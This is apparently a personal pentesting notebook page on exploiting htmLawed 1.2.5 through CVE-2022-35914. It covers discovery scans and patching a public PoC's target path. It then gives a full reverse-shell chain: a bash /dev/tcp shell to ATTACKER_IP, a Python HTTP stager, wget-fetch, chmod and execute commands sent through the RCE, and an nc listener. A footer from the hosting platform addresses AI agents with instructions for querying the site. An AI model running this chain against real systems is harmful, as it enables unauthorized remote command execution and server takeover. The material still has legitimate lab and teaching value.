> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/things-i-have-pwnd-before/htmlawed.md).

# htmLawed

htmLawed is a PHP library for filtering and sanitizing HTML. Exposed test/demo installs may be vulnerable to command execution.

## Discovery

```bash
nmap -sC -sV TARGET -p 80
# http-title: htmLawed (1.2.5) test
```

Common files:

```
/index.php
/htmLawed.php
/htmLawed_README.txt
/htmLawed_README.htm
/htmLawed_TESTCASE.txt
```

Fuzz for PHP and documentation files:

```bash
feroxbuster -u http://TARGET -x php,txt,htm,html
```

## CVE-2022-35914

htmLawed 1.2.5 can be vulnerable to command execution. Public PoCs may assume the vulnerable test file lives at:

```
/vendor/htmlawed/htmlawed/htmLawedTest.php
```

If that 404s but the root page is the htmLawed test interface, patch the PoC target path to `/` or to the discovered PHP file such as `/htmLawed.php`.

```python
# In some PoCs:
uri = "/"
# or
uri = "/htmLawed.php"
```

Run a harmless command first:

```bash
python3 CVE-2022-35914.py -u http://TARGET -c id
```

## Getting a Shell

If one-shot reverse shell payloads do not connect back, use the RCE to fetch and run a stager.

Create the stager:

```bash
cat > rev.sh << 'EOF'
#!/bin/bash
sh -i >& /dev/tcp/ATTACKER_IP/9001 0>&1
EOF
python3 -m http.server 8000
```

Fetch, chmod, and execute through the RCE:

```bash
python3 CVE-2022-35914.py -u http://TARGET -c 'wget -O /tmp/rev.sh http://ATTACKER_IP:8000/rev.sh'
python3 CVE-2022-35914.py -u http://TARGET -c 'chmod +x /tmp/rev.sh'
python3 CVE-2022-35914.py -u http://TARGET -c '/tmp/rev.sh'
```

Start the listener before executing:

```bash
nc -nlvp 9001
```

The shell usually lands as the web server user, e.g. `www-data`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.ice-wzl.xyz/things-i-have-pwnd-before/htmlawed.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
